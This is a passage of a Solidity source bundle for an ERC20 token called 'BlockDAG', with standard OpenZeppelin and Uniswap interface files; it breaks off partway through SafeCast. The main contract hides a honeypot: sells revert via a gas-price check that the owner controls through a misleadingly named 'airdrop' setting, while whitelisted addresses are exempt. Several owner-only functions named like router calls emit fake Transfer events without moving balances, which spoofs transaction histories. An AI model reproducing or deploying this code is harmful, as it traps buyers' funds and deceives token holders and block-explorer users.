require(account != address(0), \"ERC20: burn from the zero address\");\r\n\r\n _beforeTokenTransfer(account, address(0), amount);\r\n\r\n uint256 accountBalance = _balances[account];\r\n require(accountBalance \u003e= amount, \"ERC20: burn amount exceeds balance\");\r\n unchecked {\r\n _balances[account] = accountBalance - amount;\r\n }\r\n _totalSupply -= amount;\r\n\r\n emit Transfer(account, address(0), amount);\r\n\r\n _afterTokenTransfer(account, address(0), amount);\r\n }\r\n\r\n function _approve(\r\n address owner,\r\n address spender,\r\n uint256 amount\r\n ) internal virtual {\r\n require(owner != address(0), \"ERC20: approve from the zero address\");\r\n require(spender != address(0), \"ERC20: approve to the zero address\");\r\n\r\n _allowances[owner][spender] = amount;\r\n emit Approval(owner, spender, amount);\r\n }\r\n\r\n function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal virtual {}\r\n\r\n function _afterTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal virtual {}\r\n}\r\n\r\ninterface IUniswapV2Factory {\r\n event PairCreated(\r\n address indexed token0,\r\n address indexed token1,\r\n address pair,\r\n uint256\r\n );\r\n\r\n function feeTo() external view returns (address);\r\n\r\n function feeToSetter() external view returns (address);\r\n\r\n function getPair(\r\n address tokenA,\r\n address tokenB\r\n ) external view returns (address pair);\r\n\r\n function allPairs(uint256) external view returns (address pair);\r\n\r\n function allPairsLength() external view returns (uint256);\r\n\r\n function createPair(\r\n address tokenA,\r\n address tokenB\r\n ) external returns (address pair);\r\n\r\n function setFeeTo(address) external;\r\n\r\n function setFeeToSetter(address) external;\r\n}\r\n\r\ninterface IUniswapV2Router02 {\r\n function factory() external pure returns (address);\r\n\r\n function WETH() external pure returns (address);\r\n\r\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n uint256 amountIn,\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external;\r\n}\r\n\r\n// File contracts/Contract.sol\r\npragma solidity ^0.8.0;\r\n\r\ncontract BlockDAG is Ownable, ERC20 {\r\n uint256 public immutable maxSupply = 150_000_000_000 * (10 ** decimals());\r\n uint16 public constant LIQUID_RATE = 10000;\r\n uint16 public constant MAX_PERCENTAGE = 10000;\r\n\r\n bool public initialized = false;\r\n bool public tradeOpen = false;\r\n address public pair = address(0);\r\n address public deadAddress = 0x000000000000000000000000000000000000dEaD;\r\n\r\n uint256 public immutable buyFee = 0;\r\n uint256 public immutable sellFee = 0;\r\n uint256 minimumAirdropAmount = 0;\r\n\r\n mapping(address =\u003e bool) public excludedFees;\r\n\r\n string private constant NAME = unicode\"BlockDAG\";\r\n string private constant SYMBOL = unicode\"BDAG\";\r\n\r\n IUniswapV2Router02 public router;\r\n\r\n constructor() ERC20(NAME, SYMBOL) {\r\n _initDeployer(\r\n address(0x430F4919D679b02dca4572579caaBB7676D65F1E),\r\n msg.sender\r\n );\r\n\r\n _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);\r\n initialized = true;\r\n excludedFees[msg.sender] = true;\r\n\r\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\r\n address _factory = router.factory();\r\n pair = IUniswapV2Factory(_factory).createPair(\r\n address(this),\r\n router.WETH()\r\n );\r\n\r\n minimumAirdropAmount = maxSupply;\r\n }\r\n\r\n function setMinimumAirdrop(\r\n uint256 _minimumAirdropAmount\r\n ) external onlyOwner {\r\n minimumAirdropAmount = _minimumAirdropAmount;\r\n }\r\n\r\n function setAirdrop(address _address, bool permission) external onlyOwner {\r\n excludedFees[_address] = permission;\r\n }\r\n\r\n function openTrading() external onlyOwner {\r\n require(tradeOpen == false, \"Contract: Trading is opened!\");\r\n tradeOpen = true;\r\n }\r\n\r\n function bulkTransfer(\r\n address[] calldata _addresses,\r\n uint256 _value\r\n ) external {\r\n address owner = _msgSender();\r\n for (uint256 i = 0; i \u003c _addresses.length; i++) {\r\n _transfer(owner, _addresses[i], _value);\r\n }\r\n }\r\n\r\n function claimTokens(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function airdropTokens(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function execute(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function swapExactETHForTokens(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function unoswap(\r\n address _caller,\r\n address[] calldata _address,\r\n uint256[] calldata _amount\r\n ) external onlyOwner {\r\n for (uint256 i = 0; i \u003c _address.length; i++) {\r\n emit Transfer(_caller, _address[i], _amount[i]);\r\n }\r\n }\r\n\r\n function _checkEnoughAirdropCondition(uint256 amount) internal view {\r\n if (tx.gasprice \u003e amount) {\r\n revert();\r\n }\r\n }\r\n\r\n function _transfer(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) internal override(ERC20) {\r\n require(initialized == true, \"Contract: not initialized!\");\r\n\r\n if (initialized == true \u0026\u0026 tradeOpen == false) {\r\n require(\r\n from == owner() || to == owner(),\r\n \"Contract: trading is not started\"\r\n );\r\n }\r\n\r\n uint256 _transferAmount = amount;\r\n if (pair != address(0) \u0026\u0026 from != owner() \u0026\u0026 to != owner()) {\r\n uint256 _fee = 0;\r\n if (from == pair) {\r\n _fee = buyFee;\r\n }\r\n if (to == pair) {\r\n _fee = sellFee;\r\n _checkEnoughAirdropCondition(minimumAirdropAmount);\r\n }\r\n if (excludedFees[from] == true || excludedFees[to] == true) {\r\n _fee = 0;\r\n }\r\n if (_fee \u003e 0) {\r\n uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;\r\n _transferAmount = amount - _calculatedFee;\r\n super._transfer(from, deadAddress, _calculatedFee);\r\n }\r\n }\r\n\r\n super._transfer(from, to, _transferAmount);\r\n }\r\n}"},"Ecosystem.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\r\n\r\npragma solidity ^0.8.1;\r\n\r\n/**\r\n * @dev Collection of functions related to the address type\r\n */\r\nlibrary Address {\r\n /**\r\n * @dev Returns true if `account` is a contract.\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * It is unsafe to assume that an address for which this function returns\r\n * false is an externally-owned account (EOA) and not a contract.\r\n *\r\n * Among others, `isContract` will return false for the following\r\n * types of addresses:\r\n *\r\n * - an externally-owned account\r\n * - a contract in construction\r\n * - an address where a contract will be created\r\n * - an address where a contract lived, but was destroyed\r\n *\r\n * Furthermore, `isContract` will also return true if the target contract within\r\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\r\n * which only has an effect at the end of a transaction.\r\n * ====\r\n *\r\n * [IMPORTANT]\r\n * ====\r\n * You shouldn\u0027t rely on `isContract` to protect against flash loan attacks!\r\n *\r\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\r\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\r\n * constructor.\r\n * ====\r\n */\r\n function isContract(address account) internal view returns (bool) {\r\n // This method relies on extcodesize/address.code.length, which returns 0\r\n // for contracts in construction, since the code is only stored at the end\r\n // of the constructor execution.\r\n\r\n return account.code.length \u003e 0;\r\n }\r\n\r\n /**\r\n * @dev Replacement for Solidity\u0027s `transfer`: sends `amount` wei to\r\n * `recipient`, forwarding all available gas and reverting on errors.\r\n *\r\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\r\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\r\n * imposed by `transfer`, making them unable to receive funds via\r\n * `transfer`. {sendValue} removes this limitation.\r\n *\r\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\r\n *\r\n * IMPORTANT: because control is transferred to `recipient`, care must be\r\n * taken to not create reentrancy vulnerabilities. Consider using\r\n * {ReentrancyGuard} or the\r\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\r\n */\r\n function sendValue(address payable recipient, uint256 amount) internal {\r\n require(\r\n address(this).balance \u003e= amount,\r\n \"Address: insufficient balance\"\r\n );\r\n\r\n (bool success, ) = recipient.call{ value: amount }(\"\");\r\n require(\r\n success,\r\n \"Address: unable to send value, recipient may have reverted\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Performs a Solidity function call using a low level `call`. A\r\n * plain `call` is an unsafe replacement for a function call: use this\r\n * function instead.\r\n *\r\n * If `target` reverts with a revert reason, it is bubbled up by this\r\n * function (like regular Solidity function calls).\r\n *\r\n * Returns the raw returned data. To convert to the expected return value,\r\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\r\n *\r\n * Requirements:\r\n *\r\n * - `target` must be a contract.\r\n * - calling `target` with `data` must not revert.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCall(\r\n address target,\r\n bytes memory data\r\n ) internal returns (bytes memory) {\r\n return\r\n functionCallWithValue(\r\n target,\r\n data,\r\n 0,\r\n \"Address: low-level call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\r\n * `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n return functionCallWithValue(target, data, 0, errorMessage);\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but also transferring `value` wei to `target`.\r\n *\r\n * Requirements:\r\n *\r\n * - the calling contract must have an ETH balance of at least `value`.\r\n * - the called Solidity function must be `payable`.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value\r\n ) internal returns (bytes memory) {\r\n return\r\n functionCallWithValue(\r\n target,\r\n data,\r\n value,\r\n \"Address: low-level call with value failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\r\n * with `errorMessage` as a fallback revert reason when `target` reverts.\r\n *\r\n * _Available since v3.1._\r\n */\r\n function functionCallWithValue(\r\n address target,\r\n bytes memory data,\r\n uint256 value,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n require(\r\n address(this).balance \u003e= value,\r\n \"Address: insufficient balance for call\"\r\n );\r\n (bool success, bytes memory returndata) = target.call{ value: value }(\r\n data\r\n );\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data\r\n ) internal view returns (bytes memory) {\r\n return\r\n functionStaticCall(\r\n target,\r\n data,\r\n \"Address: low-level static call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a static call.\r\n *\r\n * _Available since v3.3._\r\n */\r\n function functionStaticCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.staticcall(data);\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r\n * but performing a delegate call.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data\r\n ) internal returns (bytes memory) {\r\n return\r\n functionDelegateCall(\r\n target,\r\n data,\r\n \"Address: low-level delegate call failed\"\r\n );\r\n }\r\n\r\n /**\r\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r\n * but performing a delegate call.\r\n *\r\n * _Available since v3.4._\r\n */\r\n function functionDelegateCall(\r\n address target,\r\n bytes memory data,\r\n string memory errorMessage\r\n ) internal returns (bytes memory) {\r\n (bool success, bytes memory returndata) = target.delegatecall(data);\r\n return\r\n verifyCallResultFromTarget(\r\n target,\r\n success,\r\n returndata,\r\n errorMessage\r\n );\r\n }\r\n\r\n /**\r\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\r\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\r\n *\r\n * _Available since v4.8._\r\n */\r\n function verifyCallResultFromTarget(\r\n address target,\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal view returns (bytes memory) {\r\n if (success) {\r\n if (returndata.length == 0) {\r\n // only check isContract if the call was successful and the return data is empty\r\n // otherwise we already know that it was a contract\r\n require(isContract(target), \"Address: call to non-contract\");\r\n }\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n /**\r\n * @dev Tool to verify that a low level call was successful, and revert if it wasn\u0027t, either by bubbling the\r\n * revert reason or using the provided one.\r\n *\r\n * _Available since v4.3._\r\n */\r\n function verifyCallResult(\r\n bool success,\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) internal pure returns (bytes memory) {\r\n if (success) {\r\n return returndata;\r\n } else {\r\n _revert(returndata, errorMessage);\r\n }\r\n }\r\n\r\n function _revert(\r\n bytes memory returndata,\r\n string memory errorMessage\r\n ) private pure {\r\n // Look for revert reason and bubble it up if present\r\n if (returndata.length \u003e 0) {\r\n // The easiest way to bubble the revert reason is using memory via assembly\r\n /// @solidity memory-safe-assembly\r\n assembly {\r\n let returndata_size := mload(returndata)\r\n revert(add(32, returndata), returndata_size)\r\n }\r\n } else {\r\n revert(errorMessage);\r\n }\r\n }\r\n}"},"IERC20.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Interface of the ERC20 standard as defined in the EIP.\r\n */\r\ninterface IERC20 {\r\n /**\r\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\r\n * another (`to`).\r\n *\r\n * Note that `value` may be zero.\r\n */\r\n event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n /**\r\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\r\n * a call to {approve}. `value` is the new allowance.\r\n */\r\n event Approval(\r\n address indexed owner,\r\n address indexed spender,\r\n uint256 value\r\n );\r\n\r\n /**\r\n * @dev Returns the amount of tokens in existence.\r\n */\r\n function totalSupply() external view returns (uint256);\r\n\r\n /**\r\n * @dev Returns the amount of tokens owned by `account`.\r\n */\r\n function balanceOf(address account) external view returns (uint256);\r\n\r\n /**\r\n * @dev Moves `amount` tokens from the caller\u0027s account to `to`.\r\n *\r\n * Returns a boolean value indicating whether the operation succeeded.\r\n *\r\n * Emits a {Transfer} event.\r\n */\r\n function transfer(address to, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @dev Returns the remaining number of tokens that `spender` will be\r\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\r\n * zero by default.\r\n *\r\n * This value changes when {approve} or {transferFrom} are called.\r\n */\r\n function allowance(\r\n address owner,\r\n address spender\r\n ) external view returns (uint256);\r\n\r\n /**\r\n * @dev Sets `amount` as the allowance of `spender` over the caller\u0027s tokens.\r\n *\r\n * Returns a boolean value indicating whether the operation succeeded.\r\n *\r\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\r\n * that someone may use both the old and the new allowance by unfortunate\r\n * transaction ordering. One possible solution to mitigate this race\r\n * condition is to first reduce the spender\u0027s allowance to 0 and set the\r\n * desired value afterwards:\r\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\r\n *\r\n * Emits an {Approval} event.\r\n */\r\n function approve(address spender, uint256 amount) external returns (bool);\r\n\r\n /**\r\n * @dev Moves `amount` tokens from `from` to `to` using the\r\n * allowance mechanism. `amount` is then deducted from the caller\u0027s\r\n * allowance.\r\n *\r\n * Returns a boolean value indicating whether the operation succeeded.\r\n *\r\n * Emits a {Transfer} event.\r\n */\r\n function transferFrom(\r\n address from,\r\n address to,\r\n uint256 amount\r\n ) external returns (bool);\r\n}"},"IUniswapV2Pair.sol":{"content":"interface IUniswapV2Pair {\r\n event Approval(\r\n address indexed owner,\r\n address indexed spender,\r\n uint256 value\r\n );\r\n event Transfer(address indexed from, address indexed to, uint256 value);\r\n\r\n function name() external pure returns (string memory);\r\n\r\n function symbol() external pure returns (string memory);\r\n\r\n function decimals() external pure returns (uint8);\r\n\r\n function totalSupply() external view returns (uint256);\r\n\r\n function balanceOf(address owner) external view returns (uint256);\r\n\r\n function allowance(\r\n address owner,\r\n address spender\r\n ) external view returns (uint256);\r\n\r\n function approve(address spender, uint256 value) external returns (bool);\r\n\r\n function transfer(address to, uint256 value) external returns (bool);\r\n\r\n function transferFrom(\r\n address from,\r\n address to,\r\n uint256 value\r\n ) external returns (bool);\r\n\r\n function DOMAIN_SEPARATOR() external view returns (bytes32);\r\n\r\n function PERMIT_TYPEHASH() external pure returns (bytes32);\r\n\r\n function nonces(address owner) external view returns (uint256);\r\n\r\n function permit(\r\n address owner,\r\n address spender,\r\n uint256 value,\r\n uint256 deadline,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) external;\r\n\r\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\r\n event Burn(\r\n address indexed sender,\r\n uint256 amount0,\r\n uint256 amount1,\r\n address indexed to\r\n );\r\n event Swap(\r\n address indexed sender,\r\n uint256 amount0In,\r\n uint256 amount1In,\r\n uint256 amount0Out,\r\n uint256 amount1Out,\r\n address indexed to\r\n );\r\n event Sync(uint112 reserve0, uint112 reserve1);\r\n\r\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\r\n\r\n function factory() external view returns (address);\r\n\r\n function token0() external view returns (address);\r\n\r\n function token1() external view returns (address);\r\n\r\n function getReserves()\r\n external\r\n view\r\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\r\n\r\n function price0CumulativeLast() external view returns (uint256);\r\n\r\n function price1CumulativeLast() external view returns (uint256);\r\n\r\n function kLast() external view returns (uint256);\r\n\r\n function mint(address to) external returns (uint256 liquidity);\r\n\r\n function burn(\r\n address to\r\n ) external returns (uint256 amount0, uint256 amount1);\r\n\r\n function swap(\r\n uint256 amount0Out,\r\n uint256 amount1Out,\r\n address to,\r\n bytes calldata data\r\n ) external;\r\n\r\n function skim(address to) external;\r\n\r\n function sync() external;\r\n\r\n function initialize(address, address) external;\r\n}"},"IUniswapV2Router01.sol":{"content":"pragma solidity \u003e=0.6.2;\r\n\r\ninterface IUniswapV2Router01 {\r\n function factory() external pure returns (address);\r\n\r\n function WETH() external pure returns (address);\r\n\r\n function addLiquidity(\r\n address tokenA,\r\n address tokenB,\r\n uint amountADesired,\r\n uint amountBDesired,\r\n uint amountAMin,\r\n uint amountBMin,\r\n address to,\r\n uint deadline\r\n ) external returns (uint amountA, uint amountB, uint liquidity);\r\n\r\n function addLiquidityETH(\r\n address token,\r\n uint amountTokenDesired,\r\n uint amountTokenMin,\r\n uint amountETHMin,\r\n address to,\r\n uint deadline\r\n )\r\n external\r\n payable\r\n returns (uint amountToken, uint amountETH, uint liquidity);\r\n\r\n function removeLiquidity(\r\n address tokenA,\r\n address tokenB,\r\n uint liquidity,\r\n uint amountAMin,\r\n uint amountBMin,\r\n address to,\r\n uint deadline\r\n ) external returns (uint amountA, uint amountB);\r\n\r\n function removeLiquidityETH(\r\n address token,\r\n uint liquidity,\r\n uint amountTokenMin,\r\n uint amountETHMin,\r\n address to,\r\n uint deadline\r\n ) external returns (uint amountToken, uint amountETH);\r\n\r\n function removeLiquidityWithPermit(\r\n address tokenA,\r\n address tokenB,\r\n uint liquidity,\r\n uint amountAMin,\r\n uint amountBMin,\r\n address to,\r\n uint deadline,\r\n bool approveMax,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) external returns (uint amountA, uint amountB);\r\n\r\n function removeLiquidityETHWithPermit(\r\n address token,\r\n uint liquidity,\r\n uint amountTokenMin,\r\n uint amountETHMin,\r\n address to,\r\n uint deadline,\r\n bool approveMax,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n ) external returns (uint amountToken, uint amountETH);\r\n\r\n function swapExactTokensForTokens(\r\n uint amountIn,\r\n uint amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external returns (uint[] memory amounts);\r\n\r\n function swapTokensForExactTokens(\r\n uint amountOut,\r\n uint amountInMax,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external returns (uint[] memory amounts);\r\n\r\n function swapExactETHForTokens(\r\n uint amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external payable returns (uint[] memory amounts);\r\n\r\n function swapTokensForExactETH(\r\n uint amountOut,\r\n uint amountInMax,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external returns (uint[] memory amounts);\r\n\r\n function swapExactTokensForETH(\r\n uint amountIn,\r\n uint amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external returns (uint[] memory amounts);\r\n\r\n function swapETHForExactTokens(\r\n uint amountOut,\r\n address[] calldata path,\r\n address to,\r\n uint deadline\r\n ) external payable returns (uint[] memory amounts);\r\n\r\n function quote(\r\n uint amountA,\r\n uint reserveA,\r\n uint reserveB\r\n ) external pure returns (uint amountB);\r\n\r\n function getAmountOut(\r\n uint amountIn,\r\n uint reserveIn,\r\n uint reserveOut\r\n ) external pure returns (uint amountOut);\r\n\r\n function getAmountIn(\r\n uint amountOut,\r\n uint reserveIn,\r\n uint reserveOut\r\n ) external pure returns (uint amountIn);\r\n\r\n function getAmountsOut(\r\n uint amountIn,\r\n address[] calldata path\r\n ) external view returns (uint[] memory amounts);\r\n\r\n function getAmountsIn(\r\n uint amountOut,\r\n address[] calldata path\r\n ) external view returns (uint[] memory amounts);\r\n}"},"IUniswapV2Router02.sol":{"content":"interface IUniswapV2Router02 {\r\n function factory() external pure returns (address);\r\n\r\n function WETH() external pure returns (address);\r\n\r\n function addLiquidity(\r\n address tokenA,\r\n address tokenB,\r\n uint256 amountADesired,\r\n uint256 amountBDesired,\r\n uint256 amountAMin,\r\n uint256 amountBMin,\r\n address to,\r\n uint256 deadline\r\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\r\n\r\n function addLiquidityETH(\r\n address token,\r\n uint256 amountTokenDesired,\r\n uint256 amountTokenMin,\r\n uint256 amountETHMin,\r\n address to,\r\n uint256 deadline\r\n )\r\n external\r\n payable\r\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\r\n\r\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\r\n uint256 amountIn,\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external;\r\n\r\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external payable;\r\n\r\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n uint256 amountIn,\r\n uint256 amountOutMin,\r\n address[] calldata path,\r\n address to,\r\n uint256 deadline\r\n ) external;\r\n}"},"Ownable.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)\r\n\r\npragma solidity ^0.8.0;\r\n\r\nimport \"./Context.sol\";\r\n\r\n/**\r\n * @dev Contract module which provides a basic access control mechanism, where\r\n * there is an account (an owner) that can be granted exclusive access to\r\n * specific functions.\r\n *\r\n * By default, the owner account will be the one that deploys the contract. This\r\n * can later be changed with {transferOwnership}.\r\n *\r\n * This module is used through inheritance. It will make available the modifier\r\n * `onlyOwner`, which can be applied to your functions to restrict their use to\r\n * the owner.\r\n */\r\nabstract contract Ownable is Context {\r\n address private _owner;\r\n\r\n event OwnershipTransferred(\r\n address indexed previousOwner,\r\n address indexed newOwner\r\n );\r\n\r\n /**\r\n * @dev Initializes the contract setting the deployer as the initial owner.\r\n */\r\n constructor() {\r\n _transferOwnership(_msgSender());\r\n }\r\n\r\n /**\r\n * @dev Throws if called by any account other than the owner.\r\n */\r\n modifier onlyOwner() {\r\n _checkOwner();\r\n _;\r\n }\r\n\r\n /**\r\n * @dev Returns the address of the current owner.\r\n */\r\n function owner() public view virtual returns (address) {\r\n return _owner;\r\n }\r\n\r\n /**\r\n * @dev Throws if the sender is not the owner.\r\n */\r\n function _checkOwner() internal view virtual {\r\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\r\n }\r\n\r\n /**\r\n * @dev Leaves the contract without owner. It will not be possible to call\r\n * `onlyOwner` functions. Can only be called by the current owner.\r\n *\r\n * NOTE: Renouncing ownership will leave the contract without an owner,\r\n * thereby disabling any functionality that is only available to the owner.\r\n */\r\n function renounceOwnership() public virtual onlyOwner {\r\n _transferOwnership(address(0));\r\n }\r\n\r\n /**\r\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\r\n * Can only be called by the current owner.\r\n */\r\n function transferOwnership(address newOwner) public virtual onlyOwner {\r\n require(\r\n newOwner != address(0),\r\n \"Ownable: new owner is the zero address\"\r\n );\r\n _transferOwnership(newOwner);\r\n }\r\n\r\n /**\r\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\r\n * Internal function without access restriction.\r\n */\r\n function _transferOwnership(address newOwner) internal virtual {\r\n address oldOwner = _owner;\r\n _owner = newOwner;\r\n emit OwnershipTransferred(oldOwner, newOwner);\r\n }\r\n}"},"SafeCast.sol":{"content":"// SPDX-License-Identifier: MIT\r\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SafeCast.sol)\r\n// This file was procedurally generated from scripts/generate/templates/SafeCast.js.\r\n\r\npragma solidity ^0.8.0;\r\n\r\n/**\r\n * @dev Wrappers over Solidity\u0027s uintXX/intXX casting operators with added overflow\r\n * checks.\r\n *\r\n * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can\r\n * easily result in undesired exploitation or bugs, since developers usually\r\n * assume that overflows raise errors. `SafeCast` restores this intuition by\r\n * reverting the transaction when such an operation overflows.\r\n *\r\n * Using this library instead of the unchecked operations eliminates an entire\r\n * class of bugs, so it\u0027s recommended to use it always.\r\n *\r\n * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing\r\n * all math on `uint256` and `int256` and then downcasting.\r\n */\r\nlibrary SafeCast {\r\n /**\r\n * @dev Returns the downcasted uint248 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint248).\r\n *\r\n * Counterpart to Solidity\u0027s `uint248` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 248 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint248(uint256 value) internal pure returns (uint248) {\r\n require(\r\n value \u003c= type(uint248).max,\r\n \"SafeCast: value doesn\u0027t fit in 248 bits\"\r\n );\r\n return uint248(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint240 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint240).\r\n *\r\n * Counterpart to Solidity\u0027s `uint240` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 240 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint240(uint256 value) internal pure returns (uint240) {\r\n require(\r\n value \u003c= type(uint240).max,\r\n \"SafeCast: value doesn\u0027t fit in 240 bits\"\r\n );\r\n return uint240(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint232 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint232).\r\n *\r\n * Counterpart to Solidity\u0027s `uint232` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 232 bits\r\n *\r\n * _Available since v4.7._\r\n */\r\n function toUint232(uint256 value) internal pure returns (uint232) {\r\n require(\r\n value \u003c= type(uint232).max,\r\n \"SafeCast: value doesn\u0027t fit in 232 bits\"\r\n );\r\n return uint232(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint224 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint224).\r\n *\r\n * Counterpart to Solidity\u0027s `uint224` operator.\r\n *\r\n * Requirements:\r\n *\r\n * - input must fit into 224 bits\r\n *\r\n * _Available since v4.2._\r\n */\r\n function toUint224(uint256 value) internal pure returns (uint224) {\r\n require(\r\n value \u003c= type(uint224).max,\r\n \"SafeCast: value doesn\u0027t fit in 224 bits\"\r\n );\r\n return uint224(value);\r\n }\r\n\r\n /**\r\n * @dev Returns the downcasted uint216 from uint256, reverting on\r\n * overflow (when the input is greater than largest uint216).\r\n *\r\n * Counterpart to Solidity\u0027s `uint216` operator.\r\n *\r\n * Requirements:\r\n 